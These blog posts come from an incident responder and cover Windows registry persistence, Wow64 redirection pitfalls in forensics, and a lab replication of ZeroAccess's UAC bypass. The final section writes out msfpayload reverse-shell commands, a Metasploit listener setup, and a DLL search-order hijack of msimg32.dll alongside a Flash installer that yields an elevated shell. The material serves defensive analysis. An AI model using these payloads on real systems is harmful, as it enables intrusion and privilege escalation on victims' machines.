Journey Into Incident Response

On my to-do list for quite some time has been tracking down the various locations in the registry that malware and attackers use to remain persistent on a system. Typically, one of my initial examination steps when confronted with malware is to review the various auto-run locations. The way I approached this step works but it isn’t as efficient as I want it to be. I do most of my registry analysis with RegRipper and it even extracts numerous auto-run locations. However, when I’m looking at persistence mechanisms I go with the Microsoft Autoruns utility since it is the best tool out there for extracting auto-runs from a system. This is where the inefficiently comes into play. I’m using two tools to extract registry auto-run locations. With the Autoruns utility, I’m forced to do additional work since it only works against mounted drives (or images). What I want is to solely use RegRipper to perform this task since it can extract this information in seconds. To do so, I had to track down the various persistence mechanisms to see what, if anything had to be added to RegRipper. This post shows what and how I went about this.

What Locations are Checked By Autoruns

To track down the registry persistence mechanisms I first needed an authoritative resource on the various locations. The Autoruns utility is the best tool for reviewing auto-runs locations since it is constantly updated. The locations checked by the tool would be one of the most authoritative resources on the subject. I reached out to the Win4n6 group to see if anyone knew of a site that outlines the different places the tool checks. Both Troy Larson and Adam said the tool itself can be used to determine this. I picked my platform – Windows 7 64-bit – to get the best coverage of artifacts and followed their guidance. I ran Autoruns (v11.4) against my system. After it completed I selected Options from the menu then Filter Options on the drop down. In the Autoruns Filter Options window: checked the box next to Include empty locations and deselected Hide Windows entries followed by clicking OK.


The end result is the most comprehensive listing of auto-start locations. More extensive then I have ever seen in books, presentations, trainings, and other tools. You may have read Harlan’s post Wow6432Node: Registry Redirection or my post Houston We’ve Had a Problem – Wow64 about the impact Wow64 has on where to look for persistence mechanisms. Well, there are numerous auto-run locations redirected due to Wow64 and this is a topic that is discussed very little in Digital Forensics and Incident Response. To see what I mean run Autoruns against a 64-bit system and you will see all the different Wow64 entries that are being missed by our processes, tools, and literature.

What To Do with these Autorun Locations

Obtaining a comprehensive list of the various persistence mechanisms was only the first step. My idea wasn’t to see every auto-run location added to RegRipper. This would require a lot of work; work done by myself or someone else volunteering their time. The more effective approach is to determine which persistence mechanisms are actually being used by malware. This is what Elizabeth Schweinsberg did when she scraped an antivirus website to determine the most common persistence mechanisms. Similar concept but different approach. I started with the most comprehensive listing of auto-run locations (Autoruns output from my 64-bit system). Then I researched every registry key and values to determine which ones were actually used by malware. I leveraged the Malware Analysis Search since it indexes numerous sites related to malware such as antivirus sites and online sandboxes. Basically, I went through hundreds of auto-start locations and selected the locations based on how many hits I got. Only a few hits wasn’t worth the effort to create test data and write a RegRipper plug-in. It took numerous hits (at least two pages worth) to make it worth the while; for it to be considered as Harlan says low hanging fruit.

Side note: I didn’t apply the search hit count to the Wow64 folder redirection locations. I barely got any hits for these locations. This shows how antivirus sites and online sandboxes are not accounting for all the artifacts created by malware.

Extending RegRipper

For the past few months I have been focused on RegRipper; specifically on the plug-ins. As a result, I know fairly well what every plug-in in the RegRipper archive does, what it checks, and which ones fall into the auto-runs category. I proceeded to review every RegRipper auto-run plug-in against my list of persistence mechanisms. What I found out was pretty cool? Excluding the Wow64 folder redirection keys/values, RegRipper already accounted for the majority of the persistence mechanisms I noted. However, I did identify what new plug-ins was needed and which ones needed to be updated.

My last step in journey to track down persistence mechanisms was to reach out to Harlan for a few reasons. First if I have any questions about Windows forensics especially with the registry then he is at the top of my list. The other reason is because he is the author of RegRipper and I felt letting him know what I was trying to do was the right thing to do. His reaction caught me by surprise after I sent him all my documentation and notes. He was willing to start writing the new plug-ins and updating the existing ones. Really cool and to me this showed his passion for our field. His willingness to help me out with about 20 different plug-ins. As he mentioned, RegRipper is being updated. Actually, he is doing all the updating and I’m just trying to give him any support I can.

In Closing

Out of my desire to work more effectively I set out to track down the various persistence mechanisms to see what needed to be added to RegRipper. I found out about the most comprehensive reference available for auto-run locations with the help of others. I saw firsthand the impact Wow64 has on our processes and tools as well as antivirus websites and online sandboxes since it’s not accounted for. I learned about the various persistence mechanisms, what they do, and more importantly if malware is actually using them. I created a nice reference for myself so I’m more aware about what to take into consideration on future casework. As a result of Harlan’s effort, RegRipper is getting updated and there will be a better tool available. The end result, going forward I will work faster and smarter since I took the time to track down the most common persistence mechanisms. Another item knocked off my to-do list and now my focus moves to the next issue...


*** Update ***

The locations identified in this post has been documented on the ASEPs RegRipper Wiki page. The page outlines all the auto-run plug-ins and the locations they check.

*** Update ***

This is a piggyback post to an issue Harlan has been raising about the Wow64 issue. His most recent post on the subject Wow64Node: Registry Redirection goes into detail about what Wow64 is, it’s impact on registry analysis, and contains links to great resources. After giving some thought to this issue I’m in full agreement with Harlan when he said “this is huge”. Computing is moving on from 32-bit to 64-bit platforms. I am already witnessing the transition since the majority of the systems I see running Windows 7 are 64-bit. We are entering a 64-bit world and as this transition occurs systems will run both 64-bit and 32-bit applications. This is where Wow64 comes into play and I wanted to follow up Harlan’s post with a few more examples about why we should be aware about this issue. I’m not only expanding on what Wow64 is but I’m highlighting issues with our processes and tools to demonstrate why this is an important issue.

What Is Wow64

In addition to the links provided by Harlan, the Windows Internals book contains information about Wow64. It states “Wow64 (Win32 emulation on 64-bit Windows) refers to the software that permits the execution of 32-bit x86 applications on 64-bit Windows”. Part of the emulation involves redirecting a 32-bit application in both the file system and registry.

Windows Internals states the following about file system redirection:

“To maintain application compatibility and to reduce the effort of porting applications from Win32 to 64-bit Windows, system directory were kept the same. Therefore, the \Windows\System32 folder contains native 64-bit images. Wow64, as it hooks all the system calls, translates all the path-related APIs and replaces the path name of the \Windows\System32 folder with \Windows\Syswow64. Wow64 also redirects \Windows\LastGood to \Windows\LastGood\syswow64 and \Windows\Regedit.exe to \Windows\syswow64\Regedit.exe. Through the use of system environment variables, the %PROGRAMFILES% variable is also set to \Program Files (x86) for 32-bit applications, while it is set to \Program Files folder for 64-bit applications."

The file system redirection occurs transparently when a 32-bit application tries to access the System32 or LastGood folders. Something similar happens when 32-bit applications access the registry. Windows Internals mentions:

“the registry is split into two portions: Native and Wow64. By default, 32-bit components access the 32-bit view and 64-bit components access the 64-bit view”. “To implement this, Wow64 intercepts all the system calls that open registry keys and retranslates the key path to point it to the Wow64 view of the registry. Wow64 splits the registry at these points: HKLM\Software and HKEY_CLASSES_ROOT”. “Under each of these keys, Wow64 creates a key called Wow6432Node. Under this key is stored 32-bit configuration information. All other portions of the registry are shared between 32-bit and 64-bit applications (for example, HKLM\SYSTEM)."

The Win32 emulation on 64-bit Windows impacts our DFIR work because there are now additional locations we need to know about and examine. If we don’t Christian Wojner sums up the end result when he said

“In the worst case this can lead to an entirely wrong interpretation of a case/situation”

Wow64 Impact on Our Processes and Tools

Wow64 is one of the topics that have not been discussed extensively within our community. Harlan has been on his soapbox trying to raise awareness about its impact on our work and he provided examples how it affects registry analysis. Both Christian Wojner in his paper The “Wow-Effect” and Lenny Zelster in his post Incident Response on 64-Bit Windows Using 32-Bit Tools highlighted the impacts of file system redirection. Basically, the authors were demonstrating that an analyst may not be getting the whole picture when running 32-bit applications on a 64-bit system. The 32-bit applications were redirected to the \Windows\Syswow64 folder and were incapable of seeing the files located in the Windows\System32 folder. The “Wow-Effect” paper mentioned there are more situations and scenarios where the “Wow-Effect” can impact DFIR. He even suggested the reader could instantly come up with a lot more scenarios. I came up with a few and they impact: live, malware, and post-mortem analysis.

Wow64 Impact on Live Analysis

Both of Christian and Lenny's articles illustrated the Wow64 issue when performing live analysis. Wow64 introduces another wrinkle when performing live analysis besides running 32-bit executables on a 64-bit system. Indicators of Compromise (IOCs) are becoming more mainstream within enterprise environments. It appears more and more people are trying to leverage IOCs to determine if their organization is compromised. The wrinkle Wow64 throws into the process is on the way people use IOCs. IOCs are written by an author based on their systems and their environment. If a user downloads an IOC and runs it in their environment without knowing about the author's environment then the user may reach a false conclusion if the IOC performs a file and registry check.

There are very few public IOCs on the Internet. To illustrate my point I selected the publicly available Skyipot/Wyksol Trojan IOC. The IOC does a check on the following key:

Registry Path contains SOFTWARE\Microsoft\Windows\CurrentVersion\Run

If a user were to download this IOC and run checks against a 64-bit system they may encounter an issue and not even know about it. The Run key in the IOC is either for a 32-bit Skyipot/Wyksol Trojan on a 32-bit system or a 64-bit Skyipot/Wyksol Trojan on a 64-buit system. If a 64-bit system was infected with a 32-bit Skyipot/Wyksol Trojan then the Run key of interest will be located underneath the HKLM\ SOFTWARE\Wow6432Node. The current registry check in the Skyipot/Wyksol IOC will miss it. As more and more organizations start to use IOCs it will be critical for them to make sure they are using IOCs that are compatible with their 64-bit/32-bit environments. Otherwise the IOCs won't be as effective as they should be.

Wow64 Impact on Malware Analysis

Practical Malware Analysis defines malware analysis as "the art of dissecting malware to understand how it works, how to identify it, and how to defeat or eliminate it". At times when reversing malware dynamic analysis is performed to see how the malware behaves as it executes. This is an excellent technique to identify what changes are made to the system such as file creation or registry modification. The intelligence gained by identifying these changes can be used to write IOCs, provide others will indicators to look for, or to perform checks on other systems to determine if they are infected. The Wow64 issue comes into play when doing malware analysis; both if it is done using an online service or your own platform.

Online malware analysis services provide an easy method for people to perform dynamic analysis on a piece of malware. There are numerous free online services to choose from and I randomly selected ThreatExpert. Unfortunately, a good number of these services don’t provide detailed information about the systems the malware executes on so the information they provide may not be complete. To illustrate let’s use the Wow64 issue to see what we can find out about the systems on ThreatExpert. The Run key I mentioned before (it’s also the same one Harlan mentioned) is a popular location for malware to maintain persistence on a system. Searching the ThreatExpert site shows numerous malware reports with this registry key (Google search had 10,400 results). Now let’s search for the same key but taking Wow64 into account by searching for this key.

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

The Google search resulted in two hits; seriously only two hits. This demonstrates the majority of the ThreatExpert analysis is not running 32-bit malware on a 64-bit system to reveal all artifacts. ThreatExpert is not the only service where this occurs; happens at Anubis (419 Google Results vs. Zero Google Results) and antivirus sites such Symantec (8,800 Google Results vs. Zero Google Results).

Side note: to perform the Google search use the site: operator to point it at the website. My attempts to included the links to the search results didn't work.

Wow64 has the same impact on those who perform malware analysis themselves as opposed to online services. Are 32-bit malware being executed on 64-bit systems? If not, then the end result will be similar to the antivirus and automated analysis sites.

Wow64 Impact on Post-mortem Analysis

Harlan did an outstanding job highlighting the impact Wow64 has on registry analysis. There are a lot more autostart locations beneath the Wow6432Node then just the Run key. These locations are not getting parsed by numerous registry analysis tools. From open source tools to really expensive software such as the one that starts “En” and ends in “Case” (I’m running v6.X). Side note: as Harlan mentioned RegRipper is getting updated to account for Wow64. There are other important registry keys that have a 32-bit equivalent beneath Wow6432Node that has nothing to do with malware or autostart locations.

One of my initial steps in any case is to profile the system to get a better understanding about what I’m facing. One of the areas I consider when profiling is the installed software on a system. It tells me a lot about what type of data and artifacts I should expect. Harlan mentioned in a previous post how the Uninstall key beneath the Wow6432Node contained references to software not listed in the 64-bit Uninstall registry key. Well, I just looked at my system and I’m seeing the same thing. If I don’t take into account the Wow64 issue when profiling a system then I won’t see the complete picture.

Summary

Despite how the phrase is constantly misquoted: “Houston, we have a problem”. The proper quote and one that more closely resembles the Wow64 issue is “Houston, we’ve had a problem”. As in past tense, as in the problem has already occurred. The Wow64 issue is a significant problem and in the near future it will only become worse as the computing environment continues to move from the 32-bit to 64-bit world. Those of us who are aware about Wow64 can adjust to account for this when faced with 64-bit systems. Those who aren’t aware; well the misquote will apply to them. They will have a problem and it could lead them to “an entirely wrong interpretation of a case/situation.”

In closing, I wanted to say thank you to Harlan. Thanks for being consistent with trying to bring this issue to the forefront and making the community more aware about its significance.

The User Account Control (UAC) is a feature in Windows where every application ran under an administrator user account only runs in the context of a standard user. UAC not only has an impact on the tools we use as I discussed before but it has the same impact on tools used by others such as malware. Recently, I’ve been doing work involving client-side exploits when I was reading a recipe about using Metasploit to take advantage of the way some applications loads external libraries on the Windows operating system. It reminded me about something I read about the ZeroAcess Rootkit. How ZeroAccess will leverage the DLL search order vulnerability to bypass the restrictions enforced by UAC. In this post I’m having a little fun by demonstrating the impact UAC has on malware and how effective the DLL search order exploit is for bypassing UAC. The following are the sections for this post:

     - What is UAC
     - DLL Search Order Vulnerability
     - ZeroAccess’s Method to Bypass UAC
     - Metasploit Setup
     - Restrictions Enforced by UAC
     - Bypassing UAC
     - Summary

What is UAC

As I mentioned previously, UAC was first introduced with Windows Vista and the feature carried over to Windows 7. By default, UAC is turned on in both operating systems. “The primary goal of User Account Control is to reduce the exposure and attack surface of the Windows 7 operating system by requiring that all users run in standard user mode, and by limiting administrator-level access to authorized processes.”

This is a pretty significant feature as it relates to malware. Over the years people have grown accustomed to using user accounts with local administrator privileges on their Windows systems. It even reached a point to where certain applications don’t function properly without these elevated rights. The issue with doing everyday tasks with administrative privileges is that any application executed by the user also runs with elevated privileges. If malware executed on a system with elevated privileges then it could make changes system wide. What UAC does is to restrict the elevated privileges from applying to every application launched by the user. The impact on malware is pretty significant; it is restricted to the locations on the system where the user account has permissions. In most cases, these areas are the user’s profile and any mapped drives. The malware will no longer have the ability to make system wide changes unless it can elevate its privileges.

When faced with an infected system it’s important to check the UAC settings due to the potential impact UAC has on malware. The Microsoft article UAC Group Policy Settings and Registry Key Settings outlines the UAC registry settings and the uac RegRipper plugin can extract this information. Below is the output from the uac plug-in when UAC is turned on with the default settings (when UAC is off the EnableLUA and ConsentPromptBehaviorAdmin values are both set to zero):

C:\>rip.exe –p uac –r C:\uac\on\Software
uac v.20130213
(Software) Get Select User Account Control (UAC) Values

UAC Information
Microsoft\Windows\CurrentVersion\policies\system
LastWrite Time Wed Feb 13 18:39:29 2013 (UTC)

EnableLUA value = 1

User Account Control: Run all administrators in Admin Approval Mode
0 = Disabled
1 = Enabled (Default)

EnableVirtualization value = 1

User Account Control: Virtualize file and registry write failures to per-user locations
0 = Disabled
1 = Enabled (Default)

FilterAdministratorToken value = 0

User Account Control: Admin Approval Mode for the built-in Administrator account
0 = Disabled (Default)
1 = Enabled

ConsentPromptBehaviorAdmin value = 5

User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
0 = Elevate without prompting
1 = Prompt for credentials on the secure desktop
2 = Prompt for consent on the secure desktop
3 = Prompt for credentials
4 = Prompt for consent
5 = Prompt for consent for non-Windows binaries (Default)

ConsentPromptBehaviorUser value = 3

User Account Control: Behavior of the elevation prompt for standard users
0 = Automatically deny elevation requests
1 = Prompt for consent on the secure desktop
3 = Prompt for consent on the secure desktop (Default)

DLL Search Order Vulnerability

The dynamic-link library (DLL) search order vulnerability is well known and has been extensively discussed. Three years ago Mandiant wrote about the weakness in the post Malware Persistence without the Windows Registry. The ISC Diary chimed in on the issue with their post DLL hijacking vulnerabilities. These are only two articles out of many so I’m only briefly touching on the vulnerability. The vulnerability exists because Windows searches for a DLL in a specific order when an application tries to load a DLL. The directories searched are the following in this order: directory from which applications loaded, system directory, Windows directory, current directory, and the directories that are listed in the PATH environment variable. The vulnerability is an application could load a malicious DLL

     - if the DLL has the same name as one that gets loaded

     - if the DLL is located in a directory that is searched before the directory containing the legitimate DLL

ZeroAccess’s Method to Bypass UAC

UAC restricts the elevated privileges from applying to every application launched by the user which significantly impacts malware. The ZeroAccess Rootkit bypasses UAC using a clever technique. The Sophos ZeroAccess Rootkit Report described the technique as follows:

“ZeroAccess must elevate its privileges to install successfully, but in order to do this from a non-administrator account on UAC enabled versions of Windows, a UAC popup will appear. End users are more likely to be suspicious of a file they have just downloaded from the internet that they thought was an illegal keygen, crack or hacked version of a game; they may also be suspicious if an unknown exe file causes a UAC popup while the user is browsing the web (exploit pack infection vector).

As a result the user may choose not to allow the program to proceed, thus ZeroAccess installation may fail. To bypass this possible problem, ZeroAccess disguises itself by forcing the UAC popup to appear to come from a different, benign-seeming program. A clean copy of the Adobe Flash Installer (InstallFlashPlayer.exe) is dropped to a temporary directory and the DLL load order of Windows is abused to ensure that ZeroAccess is loaded into the clean file’s process address space when it is executed.

By dropping a DLL called msimg32.dll (one of the DLLs that InstallFlashPlayer.exe imports) into the same directory as the Flash installer file, Windows will load this DLL in preference to the genuine msimg32.dll because Windows looks in the current directory before the system directory when loading DLLs:”


I executed a Flash installer file from the Temp folder and the search order for the msimg32.dll was:

LdrLoadDll ( "C:\Users\lab\AppData\Local\Temp;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\", 0x0028fa78, 0x0028fa64, 0x0028fa7c )

As can be seen the folder where the application loaded from (Temp) was checked before the C:\Windows\system32 directory where the msimg32.dll is actually located.

Metasploit Setup

The ZeroAccess Rootkit uses a mixture of social engineering and the DLL search order vulnerability to bypass the UAC feature. Metasploit was my go to tool to demonstrate UAC’s impact on malware and to verify how effective the DLL search order exploit is for bypassing the feature. For those solely interested in the testing skip ahead to Restrictions Enforced by UAC section. For completeness and those who want to replicate my testing I’m providing the information about my Metasploit setup. My setup involved: create a custom executable to UAC’s restrictions on privileges, create custom DLL to bypass UAC with, and set up Metasploit listener for the reverse connections.

My network configuration was Windows 7 and BackTrack virtual machines both connected to a virtual network. After I created the custom reverse shells I manually copied them over to the Windows 7 virtual machine for execution.

Create Custom Executable

I built the custom executable with msfpayload and used the following command.

root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 X >./msimg32.exe

Create Custom DLL

I built the custom DLL with pretty much the same command but I replaced the X with a D as shown below.

root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 D >./msimg32.dll

Set up Metasploit Listener

The payload I selected for the custom executable and DLL were reverse shells. Their purpose is to establish command shells back to my BackTrack VM at IP address 192.168.71.128 on port 4444. The following are the commands I used to setup the Metasploit listener (notice the listener uses the same payload, IP address, and port number as the custom executable/DLL)

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.71.128
LHOST => 192.168.71.128
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.71.128:4444
[*] Starting the payload handler...

Restrictions Enforced by UAC

It’s always helpful to first see things as they should be. The first test was to examine the privileges restrictions imposed by UAC to see firsthand its impact on malware from the attackers’ perspective. I manually copied the msimg32.exe to the C:\Users\lab\AppData\Local\Temp directory on the Windows 7 VM and then executed it.

On the BackTrack VM I got a successful shell as shown below:

[*] Command shell session 1 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:12:46 -0500

I dropped into the shell and executed the whoami command to see what privileges I had.

C:\Users\lab\AppData\Local\Temp>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============= ===============================
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

The output showed the shell was running under standard user mode since certain administrative privileges were missing such as the SeTakeOwnershipPrivilege privilege. I next took the testing one step forward by trying to create a file in the System32 directory but was denied access as shown below:

C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt

echo hello > C:\Windows\System32\hello.txt
Access is denied.

Bypassing UAC

The restricted privileges imposed by UAC was expected and matched my previous testing. I restored the Windows 7 VM to a snapshot in a clean state and copied the msimg32.dll and a Flash Installer file to the C:\Users\lab\AppData\Local\Temp directory.


I executed the Flash installer file (InstallFlashPlayer.exe) by double clicking it and was greeted with the UAC popup. Notice how the verified publisher shows Adobe Systems Incorporated.


After I clicked Yes to allow the program to make changes to the system on the BackTrack VM I got a successful shell as shown below. This means the msimg32.dll in the Temp directly was loaded before the legitimate DLL in the System32 directory.

[*] Command shell session 2 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:18:28 -0500

I dropped into the shell and executed the whoami command to see what privileges I had.

C:\Users\lab\AppData\Local\Temp>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State

=============================== ====== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled

The output showed the shell was running under administrator mode confirming UAC was successfully bypassed. Again, I took the testing one step forward by successfully creating a file in the System32 directory (notice the access denied message didn’t appear).

C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt
echo hello > C:\Windows\System32\hello.txt

C:\Users\lab\AppData\Local\Temp>

Summary

When confronted with examining a system impacted by malware it is important to know what user account was involved and what privileges the account had. If the account is an administrator on a Windows Vista or newer operating system then the next check should be to determine the UAC settings. UAC is the difference between malware being able to make changes system wide or being restricted to a user profile. That is unless the malware leverages a technique to bypass the UAC feature. Then all bets are off. :)